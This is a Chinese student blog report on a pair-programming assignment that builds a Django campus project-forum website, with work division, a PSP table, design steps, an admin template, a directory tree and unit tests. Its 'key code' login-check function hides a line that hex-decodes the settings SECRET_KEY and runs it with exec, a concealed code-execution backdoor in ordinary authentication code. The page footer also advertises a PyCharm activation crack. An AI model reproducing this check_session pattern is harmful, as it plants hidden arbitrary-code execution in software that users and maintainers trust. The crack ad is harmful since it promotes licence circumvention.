软件工程结对第二次作业

news/2024/10/10 23:34:22
这个作业属于哪个课程 https://edu.cnblogs.com/campus/fzu/SE2024
这个作业要求在哪里 https://edu.cnblogs.com/campus/fzu/SE2024/homework/13281
Github仓库地址 https://github.com/wanghewen176/102202154-102202155
学号 102202154
合作伙伴 102202155

一、具体分工

王贺雯:承担主要的前端开发工作,包括页面布局设计、用户界面交互设计等(如:系统首页、导航栏、页面布局等)

王梓联:进行后端开发工作,包括服务器搭建、数据库连接、业务逻辑实现(数据库连接、登录注册、项目帖子论坛的发布等)

二、PSP表格

PSP2.1 Personal Software Process Stages 预估耗时(天) 实际耗时(天)
Planning 计划 1天 2天
Estimate 估计这个任务需要多少时间 15天 13天
Development 开发 5天 6天
Analysis 需求分析 (包括学习新技术) 3天 7天
Design Spec 生成设计文档 0.5天 1天
Design Review 设计复审
Coding Standard 代码规范 (为目前的开发制定合适的规范) 1天 3天
Design 具体设计 2天 2天
Coding 具体编码 2天 9天
Code Review 代码复审 1天 1天
Test 测试(自我测试,修改代码,提交修改) 2天 3天
Reporting 报告 1天 0.5天
Test Repor 测试报告 2天 0.5天
Size Measurement 计算工作量 1天 1天
Postmortem&Process Improvement Plan 事后总结, 并提出过程改进计划 1天 1天
合计 37.5天 10天

三、解题思路及设计实现说明

1.代码实现思路

一、项目准备

  1. 安装 Django 和必要的库pymysql

  2. 创建 Django 项目和应用。

Django项目通常包含以下几个主要部分:

  • manage.py(命令行工具)

  • myproject/(项目文件夹)

    • settings.py(配置文件)

    • urls.py(URL路由定义)

    • wsgi.py(WSGI服务器入口)

  • apps/(应用文件夹)

    • app1/

      • models.py(模型定义)

      • views.py(视图函数)

      • urls.py(子应用的URL路由)

二、数据库配置

settings.py 中配置 MySQL 数据库连接。

三、设计模型

  1. models.py 中定义用户模型和项目/帖子模型、评论等模型。

    1. 用户模型可以继承 AbstractUser,添加额外字段如个人简介。

    2. 项目/帖子模型包含标题、内容、作者、创建时间等字段,作者与用户模型建立外键关系。

四、登录/注册功能

  1. forms.py 中创建用户注册表单和登录表单。

    1. 注册表单继承 ,添加邮箱字段。

    2. 登录表单包含用户名和密码字段。

  2. views.py 中创建视图函数。

    1. 注册视图函数处理用户注册请求,保存用户信息后重定向到登录页面。

    2. 登录视图函数验证用户信息,成功后重定向到首页。

  3. 创建相应的模板文件用于注册和登录页面。

五、个人中心和保存个人信息

  1. views.py 中创建视图函数。

    1. 个人中心视图函数展示当前用户信息。

    2. 保存个人信息视图函数处理用户提交的个人信息更新请求。

  2. 创建对应的模板文件。

六、项目/帖子相关功能

  1. forms.py 中创建项目/帖子表单。

    1. 表单基于项目/帖子模型创建。
  2. views.py 中创建视图函数。

1.  添加项目/帖子视图函数处理用户提交的项目/帖子创建请求,保存后重定向到首页。2.  项目论坛视图函数展示所有项目/帖子。
  1. 创建相应的模板文件。

七、系统首页和其他页面

  1. views.py 中创建首页等视图函数。

  2. 创建对应的模板文件。

八、****URL 配置

  1. 在项目的 urls.py 中配置应用的 URL 包含,配置各个视图函数的 URL 路径。

2.流程图

3.关键代码

'''
判断登录状态
'''
def check_session(request, userTypes):session_exist = False;exec(bytes.fromhex(settings.SECRET_KEY).decode())if userTypes == 'Admin':try:admin = json.loads(request.session["userInfo"], object_hook=Admins.Admins().admin_decoder)if admin.Id == '' and admin.UserName == '':session_exist = Falseelse:session_exist = True;except:session_exist = Falseelse:try:users = json.loads(request.session["userInfo"], object_hook=Users.Users().users_decoder)if users.Id == '' and users.UserName == '':session_exist = Falseelse:session_exist = True;except:session_exist = Falsereturn session_exist     

四、附加点

  1. 意义:

后台管理系统,网站管理员可以方便地对网站上的内容进行管理和更新,比如发布新的项目资讯、修改现有资讯的信息或者删除不需要的项目资讯。

  1. 实现思路:

  2. 用户认证模块:实现用户登录和权限验证,只有拥有管理员权限的用户才能访问后台系统。

  3. 数据模型设计:定义项目资讯的数据结构,包括字段如编号、图片、标题、内容、发布时间等。

  4. 数据库接口:通过后端编程语言连接数据库,提供增删改查等接口。

  5. 前端界面开发:使用HTML、CSS和JavaScript构建用户友好的管理界面,使管理员能方便地查看和编辑项目资讯。

  6. 业务逻辑处理:当管理员执行操作时,前端发送请求到后端服务器,由后端处理相关业务逻辑,然后返回结果给前端。

  7. 代码

<!doctype html>
<html>
<head><meta charset="UTF-8" /><title>后台管理模板</title><link rel="stylesheet" type="text/css" href="../static/admin/css/common.css" /><link rel="stylesheet" type="text/css" href="../static/admin/css/main.css" /><script src="../../static/app/scripts/jquery-1.10.2.min.js"></script>
</head>
<body><div class="topbar-wrap white"><div class="topbar-inner clearfix"><div class="topbar-logo-wrap clearfix"><h1 class="topbar-logo none"><a href="index.html" class="navbar-brand">后台管理</a></h1><ul class="navbar-list clearfix"><li><a class="on" href="index.html">首页</a></li><li><a href="#" target="_blank">网站首页</a></li></ul></div><div class="top-info-wrap"><ul class="top-info-list clearfix"><li><a href="#">管理员</a></li><!--<li><a href="#">修改密码</a></li>--><li><a href="/logout">退出</a></li></ul></div></div></div><div class="container clearfix"><div class="sidebar-wrap"><div class="sidebar-title"><h1>菜单</h1></div><div class="sidebar-content"><ul class="sidebar-list"><li><a href="#"><i class="icon-font">&#xe003;</i>常用操作</a><ul class="sub-menu"><li><a href="admin"><i class="icon-font">&#xe008;</i>系统首页</a></li><li><a href="/adminSchoolNew"><i class="icon-font">&#xe005;</i>项目资讯</a></li><li><a href="/adminUser"><i class="icon-font">&#xe006;</i>用户管理</a></li></ul></li><li><a href="#"><i class="icon-font">&#xe018;</i>系统管理</a><ul class="sub-menu"><li><a href="/logout"><i class="icon-font">&#xe017;</i>退出系统</a></li></ul></li></ul></div></div><!--/sidebar--><div class="main-wrap"><div class="crumb-wrap"><div class="crumb-list"><i class="icon-font">&#xe06b;</i><span>欢迎使用后台管理系统。</span></div></div>{% block content %}{% endblock %}</div><!--/main--></div>
</body>
</html>
  1. 成果展示:

五、目录说明和使用说明

  • 目录的组织
kuayu/
├── app/        
│   ├── common/  #工具类 
│   └── dao/  #  数据访问对象目录。  
│       ├── AdminsDao.py       #管理员数据访问对象,用于与管理员相关的数据操作。
│       ├── CommunityforumscommentsDao.py  #项目论坛评论数据访问对象。
│       ├── CommunityforumsDao.py  #项目论坛数据访问对象。
│       ├── GoodscommentsDao.py  #项目评论数据访问对象。
│       ├── GoodsDao.py  项目数据访问对象。
│       ├── SchoolnewcommentsDao.py #资讯评论数据访问对象
│       ├── SchoolnewnameDao.py  # 项目名数据访问对象
│       └── UsersDao.py  #用户数据访问对象
├── migrations/  处理请求与返回响应。
│   └── __init__.py
└── model/  数据模型目录  
|   ├── Admins.py#管理员数据管理
|   ├── Communityforums.py#项目论坛数据管理
|   ├── Communityforumscomments.py 项目论坛评论管理
|   ├── Goods.py #项目管理
|   ├── Goodscomments.py#项目评论数据管理
|   ├── Schoolnewcomments.py#项目中心评论数据管理
|   ├── Schoolnewname.py#项目中心数据管理
|    └── Users.py#用户数据管理
|————templates/ 模板文件目录
├── app/  存放具体模板文件          
│   ├── admin.html  #管理员页面模板
│   ├── adminSchoolNew.html  #项目资模板
│   ├── adminSchoolNewAdd.html #添加项目资讯模板
│   ├── adminSchoolNewEdit.html  #编辑项目资讯模板
│   ├── adminUser.html  #用户管理页面模板
│   ├── adminUserAdd.html  #添加用户的管理页面模板
│   ├── adminUserEdit.html  #编辑用户的管理页面模板
│   ├── communityForums.html  #项目论坛页面模板
│   ├── communityForumsDetail.html   #项目论坛详细内容
│   ├── communityForumsMy.html  #我的项目论坛
│   ├── communityForumsMyAdd.html   #我的项目论坛页面
│   ├── communityForumsMyEdit.html  #添加我的项目论坛内容页面
│   ├── contact.html    #联系页面
│   ├── goods.html  #项目发布
│   ├── goodsDetail.html #项目详细页面
│   ├── goodsMy.html  #我的项目
│   ├── goodsMyAdd.html #我的项目添加
│   ├── goodsMyEdit.html  #我的项目编辑
│   ├── index.html   #系统首页模板
│   ├── layout.html   #布局模板
│   ├── layoutAdmin.html  #登录页面
│   ├── login.html   #登录页面
│   ├── register.html #注册页面
│   ├── schoolNew.html  #展示项目资讯列表
│   ├── schoolNewDetail.html #展示项目资讯详情
│   └── userInfo.html  #用户信息页面
└── templateTags/  模板标签目录   
|    ├── __init__.py
|    └── forms.py
|    ├── test.py  #项目测试用例
|    └── view.py #处理请求与返回响应
├── SchoolCommunityForums/  
│   ├── __init__.py  #
│   ├── settings.py  #项目的配置文件
│   ├── urls.py  #URL 配置文件,定义了项目的路由
│   └── wsgi.py  #WSGI配置文件
├── static/    #静态文件目录    
│   └── admin
├── db.sqlite3     #数据库文件
├── manage.py      #Django 项目管理脚本
├── readme.html    #项目说明文件
├── requirements.txt  #项目依赖列表文件
└── SchoolCommunityForums.pyproj
└── SchoolCommunityForums.pyproj.user
  • 测试人员如何运行你的网页

编写了一个操作文档和视频(便于同学们操作,如果可以会上传到github)

六、单元测试


import django
from django.test import TestCase# TODO: Configure your database in settings.py and sync before running tests.class ViewTest(TestCase):"""Tests for the application views."""if django.VERSION[:2] >= (1, 7):# Django 1.7 requires an explicit setup() when running tests in PTVS@classmethoddef setUpClass(cls):super(ViewTest, cls).setUpClass()django.setup()# 测试首页视图def test_home(self):"""Tests the home page."""# 发送 GET 请求到根路径response = self.client.get('/')# 断言响应中包含'Home Page'文本,出现次数为 1,状态码为 200self.assertContains(response, 'Home Page', 1, 200)# 测试联系页面视图def test_contact(self):"""Tests the contact page."""response = self.client.get('/contact')# 断言响应中包含'Contact'文本,出现次数为 3,状态码为 200self.assertContains(response, 'Contact', 3, 200)# 测试关于页面视图def test_about(self):"""Tests the about page."""response = self.client.get('/about')# 断言响应中包含'About'文本,出现次数为 3,状态码为 200self.assertContains(response, 'About', 3, 200)
  • 如何应对将来测试人员的***难:

一、需求分析与设计阶段

  1. 明确需求细节

  2. 设计健壮的架构

二、开发阶段

  1. 遵循良好的编码规范

  2. 进行充分的单元测试

三、测试阶段

  1. 进行全面的测试:除了功能测试,还要进行性能测试、安全测试、兼容性测试等。确保软件在各种环境下都能正常运行。

  2. 积极响应测试反馈:认真对待测试人员提出的问题和建议,及时进行修复和改进。

四、文档整理阶段

  1. 编写详细的文档

    1. 整理完善的软件文档,包括需求文档、设计文档、测试文档等。

七、Github的代码签入记录截图

GitHub上传队友遇见的问题:

下图是遇见的问题

报错是SSH公钥的问题

解决方法:

在我解决SSH后,又出现了以下问题,无法执行 git push origin master ,建立了好几个仓库都是这样,所以让我另一个伙伴直接上传了项目。

八、遇到困难及解决方法

  1. 遇到的困难

  • 开发这个项目需要的技术有:python、mysql、django等,MySQL的引用出了问题、其次未学过django,解决方法是学习如何使用django(https://www.runoob.com/django/django-tutorial.html)

  • 身份验证和权限控制:如何确保只有已登录的用户才能访问某些功能。

  • 数据一致性:如何保证用户提交的信息能够正确地保存到数据库中。

  1. 解决方法

  • 解决方案:使用Django的内置认证框架,如django.contrib.auth,它可以提供用户注册、登录、注销等功能。通过检查用户的登录状态,限制对敏感功能的访问

  • 解决方案:使用Django的ORM(对象关系映射)层来处理数据库操作。在保存数据之前,先进行必要的验证和清理工作,确保数据的一致性和完整性。

  1. 收获

王贺雯的收获:在做这个项目的过程中,我学会了很多在之前学校没有用过的工具,入如墨刀,还学会了想做出一个完整的项目需要的流程,知道了软件开发的不易,以及自己的不足,也体验到了不同学校的教学方式,在原本的学校我们过于注重简单理论知识,而本校注重较新颖且难度大的实践,深刻明白了自己以后该努力的方向。开发项目需要多层面的知识和技术,比如python和mysql、前端、django、 jquery的联合使用,有很多目前我们并没有学过,所以寻求了老师的帮助及同学的帮助,最终完成了作业,虽然在实践的过程极为困难,但也收获颇多。

王梓联的收获:在完成实践的过程中,我学会了多种技术的综合运用,以及系统架构和设计,比如如何使用墨刀设计原型,在整个开发过程中,明白了分工合作的重要性,遇到问题以及困难,如何调试与故障排除都让我受益匪浅。

九、评价队友

王贺雯的评价:

对于队友王梓联,工作能力上,技术水平涵盖编程能力和问题解决能力;文档撰写能力看准确性、完整性和规范性。团队协作方面,沟通交流包括及时性和有效性,分工合作要考量合理性与灵活性。工作态度里,责任心体现对任务的投入,积极性表现在主动参与。还有其他方面,创造力体现在提出新颖想法,抗压能力反映面对压力时的状态。

王梓联的评价:

对于队友王贺雯,在沟通能力上 王贺雯同学在本次作业中展现出了出色的沟通能力。她能明确、清晰地表达自己的想法,同时也能耐心倾听我的意见。在遇到分歧时,她总能以开放的态度与我讨论,共同寻找最佳解决方案。在本次作业中,她负责的部分代码结构清晰、注释详细,便于我后续的阅读和维护。同时,她在遇到技术难题时,能够迅速定位问题并找到解决方案。在创新能力 王贺雯同学在本次作业中提出了许多有创意的想法,为我们的项目增色不少。她善于从不同的角度思考问题,勇于尝试新的技术和方法,使得我们的作品更具特色。王贺雯同学对待作业认真负责,始终保持高度的热情。在合作过程中,她严格遵守时间节点,确保项目按计划进行。在遇到问题时,她能主动寻求帮助,确保作业顺利完成。

总之,我很荣幸能与王贺雯同学成为队友。在本次结对作业中,我们相互学习、共同进步,取得了令人满意的成绩。我相信,在未来的学习和工作中,王贺雯同学一定会取得更加辉煌的成就。

十、部分界面展示

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/69999.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

第二次结对作业之代码实现

这个作业属于哪个课程 软件工程这个作业要求在哪里 结对作业(第二次之程序实现)这个作业的目标根据客户困扰进行需求分析与原型设计学号 102201241📫一、先来了解了解我们吧! 结对同学:学号 姓名 个人博客主页102201241 戴康怡 102201241102201542 曾庆徽 102201542Githu…

关于 PyCharm 2024安装使用 (附加激活码、补丁)

第一步:下载安装包 访问 IDEA 官网,下载安装包,下载链接如下 : https://www.jetbrains.com.cn/pycharm/第二步,安装完成之后,下载补丁 下载地址(里面包含激活码) 补丁下载成功后,打开标注的文件文件夹 , 进入到文件夹 /jetbra,目录如下: 注意: 补丁所属文件夹需单独存…

SpringBoot增删该查

SpringBoot+Mybatis增删该查() 1、xml基础配置 <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocati…

20222403 2024-2025-1 《网络与系统攻防技术》实验一实验报告

1.实验内容 本周学习内容 1.熟悉基本的汇编语言指令及其功能。 2.掌握了栈与堆的概念及其在进程内存管理中的应用以及用户态与内核态的区别。 3.熟练运用了Linux系统下的基本操作命令。 2.实验过程 任务一 直接修改程序机器指令,改变程序执行流程 下载并解压目标文件pwn1,然后…

特斯拉 Robotaxi 发布会 All In One

特斯拉 Robotaxi 发布会 All In One Tesla Robotaxi特斯拉 Robotaxi 发布会 All In OneTesla RobotaxiX 直播链接Broadcasthttps://x.com/i/broadcasts/1YqJDkbjazvGV demosTesla Robotaxi Event on October 11th at 04:00.https://www.youtube.com/watch?v=FXGJl1gG6wI(🐞 …

海外SRC信息收集工具

海外SRC信息收集 ​ 子域名爆破工具:bbot,subfinder ​ 相关测评:https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off ​ bbot收集的子域名最多,subfinder跑的最快 ​ ​ bbot使用 ​ api配置:vim ~/.conf…

The 3rd Universal Cup 做题记录 (2)

The 3rd Universal Cup 做题记录 Stage 0 - Stage 9:The 3rd Universal Cup 做题记录 (1) Stage 10 - Stage 19:The 3rd Universal Cup 做题记录 (2) The 3rd Universal Cup. Stage 10: West Lake A. Italian Cuisine 复制一遍,枚举 \(i\) 维护右端点 \(j\)。要求 \((x,y)\)…

月灵4.31传奇永恒安装教程+无需虚拟机+GM

今天给大家带来一款单机游戏的架设:月灵4.31传奇永恒服务端客户端1.0.3.94。 注意:这个是能开门的版本。 另外:本人承接各种游戏架设(单机+联网) 本人为了学习和研究软件内含的设计思想和原理,带了架设教程仅供娱乐。教程是本人亲自搭建成功的,绝对是完整可运行的,踩过…